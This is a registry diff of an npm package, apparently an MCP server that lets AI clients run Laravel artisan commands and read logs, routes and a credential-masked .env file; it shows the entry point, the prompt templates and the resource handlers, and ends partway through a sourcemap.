@falzz1010/laravel-mcp-server 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (76) hide show
  1. package/CHANGELOG.md +100 -0
  2. package/LICENSE +21 -0
  3. package/README.md +866 -0
  4. package/build/index.d.ts +2 -0
  5. package/build/index.d.ts.map +1 -0
  6. package/build/index.js +101 -0
  7. package/build/index.js.map +1 -0
  8. package/build/prompts/laravel-prompts.d.ts +4 -0
  9. package/build/prompts/laravel-prompts.d.ts.map +1 -0
  10. package/build/prompts/laravel-prompts.js +81 -0
  11. package/build/prompts/laravel-prompts.js.map +1 -0
  12. package/build/resources/laravel-info.d.ts +4 -0
  13. package/build/resources/laravel-info.d.ts.map +1 -0
  14. package/build/resources/laravel-info.js +99 -0
  15. package/build/resources/laravel-info.js.map +1 -0
  16. package/build/tests/full-security-audit.test.d.ts +2 -0
  17. package/build/tests/full-security-audit.test.d.ts.map +1 -0
  18. package/build/tests/full-security-audit.test.js +226 -0
  19. package/build/tests/full-security-audit.test.js.map +1 -0
  20. package/build/tests/security.test.d.ts +2 -0
  21. package/build/tests/security.test.d.ts.map +1 -0
  22. package/build/tests/security.test.js +124 -0
  23. package/build/tests/security.test.js.map +1 -0
  24. package/build/tools/list-routes.d.ts +4 -0
  25. package/build/tools/list-routes.d.ts.map +1 -0
  26. package/build/tools/list-routes.js +68 -0
  27. package/build/tools/list-routes.js.map +1 -0
  28. package/build/tools/read-env.d.ts +4 -0
  29. package/build/tools/read-env.d.ts.map +1 -0
  30. package/build/tools/read-env.js +51 -0
  31. package/build/tools/read-env.js.map +1 -0
  32. package/build/tools/read-file.d.ts +4 -0
  33. package/build/tools/read-file.d.ts.map +1 -0
  34. package/build/tools/read-file.js +60 -0
  35. package/build/tools/read-file.js.map +1 -0
  36. package/build/tools/read-logs.d.ts +4 -0
  37. package/build/tools/read-logs.d.ts.map +1 -0
  38. package/build/tools/read-logs.js +60 -0
  39. package/build/tools/read-logs.js.map +1 -0
  40. package/build/tools/run-artisan.d.ts +5 -0
  41. package/build/tools/run-artisan.d.ts.map +1 -0
  42. package/build/tools/run-artisan.js +130 -0
  43. package/build/tools/run-artisan.js.map +1 -0
  44. package/build/tools/run-tinker.d.ts +4 -0
  45. package/build/tools/run-tinker.d.ts.map +1 -0
  46. package/build/tools/run-tinker.js +75 -0
  47. package/build/tools/run-tinker.js.map +1 -0
  48. package/build/tools/write-file.d.ts +4 -0
  49. package/build/tools/write-file.d.ts.map +1 -0
  50. package/build/tools/write-file.js +103 -0
  51. package/build/tools/write-file.js.map +1 -0
  52. package/build/utils/audit.d.ts +23 -0
  53. package/build/utils/audit.d.ts.map +1 -0
  54. package/build/utils/audit.js +52 -0
  55. package/build/utils/audit.js.map +1 -0
  56. package/build/utils/config.d.ts +12 -0
  57. package/build/utils/config.d.ts.map +1 -0
  58. package/build/utils/config.js +63 -0
  59. package/build/utils/config.js.map +1 -0
  60. package/build/utils/file.d.ts +8 -0
  61. package/build/utils/file.d.ts.map +1 -0
  62. package/build/utils/file.js +96 -0
  63. package/build/utils/file.js.map +1 -0
  64. package/build/utils/process.d.ts +16 -0
  65. package/build/utils/process.d.ts.map +1 -0
  66. package/build/utils/process.js +78 -0
  67. package/build/utils/process.js.map +1 -0
  68. package/build/utils/rate-limiter.d.ts +19 -0
  69. package/build/utils/rate-limiter.d.ts.map +1 -0
  70. package/build/utils/rate-limiter.js +57 -0
  71. package/build/utils/rate-limiter.js.map +1 -0
  72. package/build/utils/security.d.ts +23 -0
  73. package/build/utils/security.d.ts.map +1 -0
  74. package/build/utils/security.js +282 -0
  75. package/build/utils/security.js.map +1 -0
  76. package/package.json +61 -0
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":""}
package/build/index.js ADDED
@@ -0,0 +1,101 @@
1
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2
+ import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
3
+ import { parseConfig } from "./utils/config.js";
4
+ import { validateLaravelPath, checkEnvironment } from "./utils/security.js";
5
+ import { findPhpBinary, killAllChildren } from "./utils/process.js";
6
+ import { initAuditLogger, logAudit } from "./utils/audit.js";
7
+ import { RateLimiter } from "./utils/rate-limiter.js";
8
+ // Tools
9
+ import { registerRunArtisanTool } from "./tools/run-artisan.js";
10
+ import { registerReadLogsTool } from "./tools/read-logs.js";
11
+ import { registerListRoutesTool } from "./tools/list-routes.js";
12
+ import { registerReadEnvTool } from "./tools/read-env.js";
13
+ import { registerReadFileTool } from "./tools/read-file.js";
14
+ import { registerWriteFileTool } from "./tools/write-file.js";
15
+ import { registerRunTinkerTool } from "./tools/run-tinker.js";
16
+ // Resources & Prompts
17
+ import { registerLaravelResources } from "./resources/laravel-info.js";
18
+ import { registerLaravelPrompts } from "./prompts/laravel-prompts.js";
19
+ async function main() {
20
+ const config = parseConfig(process.argv);
21
+ // 1. Validate target directory is a valid Laravel project
22
+ try {
23
+ validateLaravelPath(config.laravelPath);
24
+ }
25
+ catch (err) {
26
+ console.error(`[FATAL ERROR] Invalid Laravel path: ${err.message}`);
27
+ process.exit(1);
28
+ }
29
+ // 2. Check environment safety (refuse to run in production)
30
+ try {
31
+ checkEnvironment(config.laravelPath);
32
+ }
33
+ catch (err) {
34
+ console.error(`[FATAL ERROR] ${err.message}`);
35
+ process.exit(1);
36
+ }
37
+ // 3. Verify PHP binary exists
38
+ try {
39
+ await findPhpBinary(config.phpBinary);
40
+ }
41
+ catch (err) {
42
+ console.error(`[FATAL ERROR] ${err.message}`);
43
+ process.exit(1);
44
+ }
45
+ // 4. Initialize Audit Logger
46
+ const sessionId = initAuditLogger(config.laravelPath);
47
+ console.error(`[INFO] Laravel MCP Server initialized.`);
48
+ console.error(`[INFO] Session ID: ${sessionId}`);
49
+ console.error(`[INFO] Target Project: ${config.laravelPath}`);
50
+ console.error(`[INFO] Write Access: ${config.allowWrite ? "ENABLED" : "DISABLED"}`);
51
+ console.error(`[INFO] Tinker Access: ${config.allowTinker ? "ENABLED" : "DISABLED"}`);
52
+ if (config.dryRun) {
53
+ console.error(`[INFO] Dry-Run Mode: ENABLED (No commands will be executed)`);
54
+ }
55
+ // 5. Initialize Rate Limiter
56
+ const rateLimiter = new RateLimiter({
57
+ maxRequestsPerMinute: config.rateLimit,
58
+ maxRequestsPerHour: 500,
59
+ cooldownMs: 2000,
60
+ });
61
+ // 6. Initialize McpServer
62
+ const server = new McpServer({
63
+ name: "laravel-mcp-server",
64
+ version: "1.0.0",
65
+ });
66
+ // 7. Register Tools
67
+ registerRunArtisanTool(server, config, rateLimiter);
68
+ registerReadLogsTool(server, config);
69
+ registerListRoutesTool(server, config);
70
+ registerReadEnvTool(server, config);
71
+ registerReadFileTool(server, config);
72
+ registerWriteFileTool(server, config);
73
+ registerRunTinkerTool(server, config);
74
+ // 8. Register Resources & Prompts
75
+ registerLaravelResources(server, config);
76
+ registerLaravelPrompts(server, config);
77
+ // 9. Connect Transport
78
+ const transport = new StdioServerTransport();
79
+ // Handle graceful shutdown
80
+ const shutdown = async (signal) => {
81
+ console.error(`[INFO] Received ${signal}, shutting down server...`);
82
+ logAudit({
83
+ tool: "server_shutdown",
84
+ tier: "READ_ONLY",
85
+ status: "ALLOWED",
86
+ reason: `Signal ${signal}`,
87
+ });
88
+ killAllChildren();
89
+ process.exit(0);
90
+ };
91
+ process.on("SIGINT", () => shutdown("SIGINT"));
92
+ process.on("SIGTERM", () => shutdown("SIGTERM"));
93
+ await server.connect(transport);
94
+ console.error("[INFO] Laravel MCP Server running on stdio transport.");
95
+ }
96
+ main().catch((err) => {
97
+ console.error("[FATAL SERVER ERROR]", err);
98
+ killAllChildren();
99
+ process.exit(1);
100
+ });
101
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,4 @@
1
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2
+ import { ServerConfig } from "../utils/config.js";
3
+ export declare function registerLaravelPrompts(server: McpServer, config: ServerConfig): void;
4
+ //# sourceMappingURL=laravel-prompts.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"laravel-prompts.d.ts","sourceRoot":"","sources":["../../src/prompts/laravel-prompts.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,yCAAyC,CAAC;AAEpE,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAIlD,wBAAgB,sBAAsB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI,CA0FpF"}
@@ -0,0 +1,81 @@
1
+ import { z } from "zod";
2
+ import { findLogFile, readLastLines, readFileContent } from "../utils/file.js";
3
+ import { isPathSafe } from "../utils/security.js";
4
+ export function registerLaravelPrompts(server, config) {
5
+ // 1. Prompt: debug-error
6
+ server.registerPrompt("debug-error", {
7
+ description: "Reads recent Laravel error log entries and asks the AI to analyze the cause and solution.",
8
+ argsSchema: {
9
+ lines: z.string().optional().describe("Number of log lines to inspect (default: 50)"),
10
+ },
11
+ }, async ({ lines = "50" }) => {
12
+ let logContent = "";
13
+ try {
14
+ const lineCount = parseInt(lines, 10) || 50;
15
+ const logFile = await findLogFile(config.laravelPath);
16
+ logContent = await readLastLines(logFile, lineCount);
17
+ }
18
+ catch (err) {
19
+ logContent = `Could not read log file: ${err.message}`;
20
+ }
21
+ return {
22
+ messages: [
23
+ {
24
+ role: "user",
25
+ content: {
26
+ type: "text",
27
+ text: `Here are the latest log entries from the Laravel application:\n\n\`\`\`\n${logContent}\n\`\`\`\n\nPlease analyze the errors, identify the root cause, and provide a step-by-step fix including code snippets or artisan commands required.`,
28
+ },
29
+ },
30
+ ],
31
+ };
32
+ });
33
+ // 2. Prompt: create-crud
34
+ server.registerPrompt("create-crud", {
35
+ description: "Generates instructions to create a complete CRUD (Model, Migration, Controller, Request, Routes) for an entity.",
36
+ argsSchema: {
37
+ model_name: z.string().describe("Name of the model in PascalCase (e.g. 'Product', 'OrderItem')"),
38
+ fields: z.string().describe("Comma-separated list of fields and types (e.g. 'title:string, price:decimal, status:enum')"),
39
+ },
40
+ }, async ({ model_name, fields }) => {
41
+ return {
42
+ messages: [
43
+ {
44
+ role: "user",
45
+ content: {
46
+ type: "text",
47
+ text: `I need to create a complete CRUD in my Laravel application for entity: **${model_name}**.\nFields: ${fields}\n\nPlease generate:\n1. Artisan command to create Model with Migration and Controller\n2. Migration schema code\n3. Model mass assignment & relationships\n4. Resource Controller code (index, store, show, update, destroy)\n5. Form Request validation rules\n6. Route definitions for routes/api.php or routes/web.php`,
48
+ },
49
+ },
50
+ ],
51
+ };
52
+ });
53
+ // 3. Prompt: review-code
54
+ server.registerPrompt("review-code", {
55
+ description: "Reads a Laravel source code file and requests a security, performance, and best practices code review.",
56
+ argsSchema: {
57
+ file_path: z.string().describe("Relative path to source file (e.g. 'app/Http/Controllers/ProductController.php')"),
58
+ },
59
+ }, async ({ file_path }) => {
60
+ let content = "";
61
+ try {
62
+ const safePath = isPathSafe(file_path, config.laravelPath);
63
+ content = await readFileContent(safePath);
64
+ }
65
+ catch (err) {
66
+ content = `Could not read file: ${err.message}`;
67
+ }
68
+ return {
69
+ messages: [
70
+ {
71
+ role: "user",
72
+ content: {
73
+ type: "text",
74
+ text: `Please perform a comprehensive code review for the following Laravel file (\`${file_path}\`):\n\n\`\`\`php\n${content}\n\`\`\`\n\nEvaluate:\n1. Laravel conventions & best practices (Repository pattern, Form Requests, Resources)\n2. Security vulnerabilities (SQL Injection, XSS, CSRF, Mass Assignment)\n3. Performance bottlenecks (N+1 queries, unindexed columns, heavy loops)\n4. Refactoring recommendations with concrete code blocks.`,
75
+ },
76
+ },
77
+ ],
78
+ };
79
+ });
80
+ }
81
+ //# sourceMappingURL=laravel-prompts.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"laravel-prompts.js","sourceRoot":"","sources":["../../src/prompts/laravel-prompts.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,4 @@
1
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2
+ import { ServerConfig } from "../utils/config.js";
3
+ export declare function registerLaravelResources(server: McpServer, config: ServerConfig): void;
4
+ //# sourceMappingURL=laravel-info.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"laravel-info.d.ts","sourceRoot":"","sources":["../../src/resources/laravel-info.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAoB,MAAM,yCAAyC,CAAC;AAEtF,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAMlD,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI,CAiHtF"}
@@ -0,0 +1,99 @@
1
+ import { ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js";
2
+ import path from "node:path";
3
+ import { readFileContent } from "../utils/file.js";
4
+ import { maskEnvValues } from "../utils/security.js";
5
+ import { runArtisan } from "../utils/process.js";
6
+ import { logAudit } from "../utils/audit.js";
7
+ export function registerLaravelResources(server, config) {
8
+ // 1. Static Resource: laravel://env
9
+ server.registerResource("laravel_env", "laravel://env", {
10
+ title: "Laravel .env File (Masked)",
11
+ description: "Static read-only view of the Laravel .env configuration file with masked credentials.",
12
+ mimeType: "text/plain",
13
+ }, async (uri) => {
14
+ const envPath = path.join(config.laravelPath, ".env");
15
+ try {
16
+ const raw = await readFileContent(envPath);
17
+ const masked = maskEnvValues(raw);
18
+ logAudit({
19
+ tool: "resource://laravel_env",
20
+ tier: "READ_ONLY",
21
+ status: "ALLOWED",
22
+ });
23
+ return {
24
+ contents: [
25
+ {
26
+ uri: uri.href,
27
+ mimeType: "text/plain",
28
+ text: masked,
29
+ },
30
+ ],
31
+ };
32
+ }
33
+ catch (err) {
34
+ return {
35
+ contents: [
36
+ {
37
+ uri: uri.href,
38
+ mimeType: "text/plain",
39
+ text: `Error reading .env: ${err.message}`,
40
+ },
41
+ ],
42
+ };
43
+ }
44
+ });
45
+ // 2. Static Resource: laravel://routes
46
+ server.registerResource("laravel_routes", "laravel://routes", {
47
+ title: "Laravel Defined Routes",
48
+ description: "Static view of all application routes in JSON format.",
49
+ mimeType: "application/json",
50
+ }, async (uri) => {
51
+ const result = await runArtisan("route:list", ["--json"], {
52
+ laravelPath: config.laravelPath,
53
+ phpBinary: config.phpBinary,
54
+ timeoutMs: config.commandTimeout,
55
+ });
56
+ logAudit({
57
+ tool: "resource://laravel_routes",
58
+ tier: "READ_ONLY",
59
+ status: result.exitCode === 0 ? "ALLOWED" : "ERROR",
60
+ });
61
+ return {
62
+ contents: [
63
+ {
64
+ uri: uri.href,
65
+ mimeType: "application/json",
66
+ text: result.stdout || "[]",
67
+ },
68
+ ],
69
+ };
70
+ });
71
+ // 3. Dynamic Resource Template: laravel://config/{key}
72
+ server.registerResource("laravel_config_key", new ResourceTemplate("laravel://config/{key}", { list: undefined }), {
73
+ title: "Laravel Config Key Lookup",
74
+ description: "Retrieve a specific configuration value (e.g. app.name, database.default)",
75
+ mimeType: "application/json",
76
+ }, async (uri, { key }) => {
77
+ const keyStr = Array.isArray(key) ? key[0] : key;
78
+ const result = await runArtisan("config:show", [keyStr], {
79
+ laravelPath: config.laravelPath,
80
+ phpBinary: config.phpBinary,
81
+ timeoutMs: config.commandTimeout,
82
+ });
83
+ logAudit({
84
+ tool: `resource://laravel_config/${keyStr}`,
85
+ tier: "READ_ONLY",
86
+ status: result.exitCode === 0 ? "ALLOWED" : "ERROR",
87
+ });
88
+ return {
89
+ contents: [
90
+ {
91
+ uri: uri.href,
92
+ mimeType: "application/json",
93
+ text: JSON.stringify({ key: keyStr, value: result.stdout.trim() }),
94
+ },
95
+ ],
96
+ };
97
+ });
98
+ }
99
+ //# sourceMappingURL=laravel-info.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"laravel-info.js","sourceRoot":"","sources":["../../src/resources/laravel-info.ts"],"names":[],"mappings":"AAAA,OAAO,EAAa,gBAAgB,EAAE,MAAM,yCAAyC,CAAC;AACtF,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B,OAAO,EAAE,eAAe,EAAE,MAAM,kBAAkB,CAAC;AACnD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,QAAQ,EAAE,MAAM,mBAAmB,CAAC;AAE7C,MAAM,UAAU,wBAAwB,CAAC,MAAiB,EAAE,MAAoB;IAC9E,oCAAoC;IACpC,MAAM,CAAC,gBAAgB,CACrB,aAAa,EACb,eAAe,EACf;QACE,KAAK,EAAE,4BAA4B;QACnC,WAAW,EAAE,uFAAuF;QACpG,QAAQ,EAAE,YAAY;KACvB,EACD,KAAK,EAAE,GAAG,EAAE,EAAE;QACZ,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,CAAC,MAAM,CAAC,WAAW,EAAE,MAAM,CAAC,CAAC;QACtD,IAAI,CAAC;YACH,MAAM,GAAG,GAAG,MAAM,eAAe,CAAC,OAAO,CAAC,CAAC;YAC3C,MAAM,MAAM,GAAG,aAAa,CAAC,GAAG,CAAC,CAAC;YAElC,QAAQ,CAAC;gBACP,IAAI,EAAE,wBAAwB;gBAC9B,IAAI,EAAE,WAAW;gBACjB,MAAM,EAAE,SAAS;aAClB,CAAC,CAAC;YAEH,OAAO;gBACL,QAAQ,EAAE;oBACR;wBACE,GAAG,EAAE,GAAG,CAAC,IAAI;wBACb,QAAQ,EAAE,YAAY;wBACtB,IAAI,EAAE,MAAM;qBACb;iBACF;aACF,CAAC;QACJ,CAAC;QAAC,OAAO,GAAQ,EAAE,CAAC;YAClB,OAAO;gBACL,QAAQ,EAAE;oBACR;wBACE,GAAG,EAAE,GAAG,CAAC,IAAI;wBACb,QAAQ,EAAE,YAAY;wBACtB,IAAI,EAAE,uBAAuB,GAAG,CAAC,OAAO,EAAE;qBAC3C;iBACF;aACF,CAAC;QACJ,CAAC;IACH,CAAC,CACF,CAAC;IAEF,uCAAuC;IACvC,MAAM,CAAC,gBAAgB,CACrB,gBAAgB,EAChB,kBAAkB,EAClB;QACE,KAAK,EAAE,wBAAwB;QAC/B,WAAW,EAAE,uDAAuD;QACpE,QAAQ,EAAE,kBAAkB;KAC7B,EACD,KAAK,EAAE,GAAG,EAAE,EAAE;QACZ,MAAM,MAAM,GAAG,MAAM,UAAU,CAAC,YAAY,EAAE,CAAC,QAAQ,CAAC,EAAE;YACxD,WAAW,EAAE,MAAM,CAA